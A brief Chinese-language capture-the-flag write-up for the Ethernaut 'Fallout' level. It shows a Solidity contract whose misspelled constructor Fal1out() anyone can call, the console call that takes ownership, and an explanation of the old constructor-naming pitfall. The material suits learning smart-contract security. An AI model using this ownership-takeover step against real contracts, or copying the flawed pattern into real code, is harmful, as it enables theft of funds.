(https://ethernaut.openzeppelin.com/level/0x5732B2F88cbd19B6f01E3a96e9f0D90B917281E5)
這一關的目標是取得contract的Ownership
觀察程式碼:
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
看起來呼叫Fal1out(),Owner就會變成呼叫者了,並沒有甚麼限制
await contract.Fal1out({value:1234});
//確認一下owner
await contract.owner();
submit instance,電子錢包按確認交易,登呢! 過關。
上網查了一下,這關是因為在Solidity 0.5.0以前,constructor是跟contract同名的函數,因為這關的contract名為Fallout,因此用了個typo Fal1out()函數來當作constructor,就可以被別人呼叫並取得ownership了,目前的Solidity 是將constructor 函數直接命名為constructor(),避免了上述的混淆。
*名詞解釋:
- constructor: 建構子函數,為當一個合約( 或一個類,Class)初始成立時會執行的函數。